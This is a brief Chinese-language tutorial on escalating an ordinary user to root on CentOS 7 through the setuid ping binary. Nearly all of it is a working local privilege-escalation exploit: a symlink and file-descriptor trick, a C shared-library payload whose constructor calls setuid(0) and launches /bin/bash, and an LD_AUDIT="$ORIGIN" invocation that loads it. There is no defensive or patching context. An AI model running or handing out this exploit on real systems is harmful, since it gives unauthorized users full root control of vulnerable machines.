Centos7使用ping命令对普通用户提权

yum -y install gcc automake autoconf libtool make

adduser test
passwd test

mkdir /tmp/exploit
ln -s /usr/bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
ls -l /proc/$$/fd/3
rm -rf /tmp/exploit
ls -l /proc/$$/fd/3

vim payload.c

void __attribute__((constructor)) init() 
{
setuid(0); system("/bin/bash"); 
}

gcc -w -fPIC -shared -o /tmp/exploit payload.c
ls -l /tmp/exploit
LD_AUDIT="$ORIGIN" exec /proc/self/fd/3

whoami

 

 

胜象大百科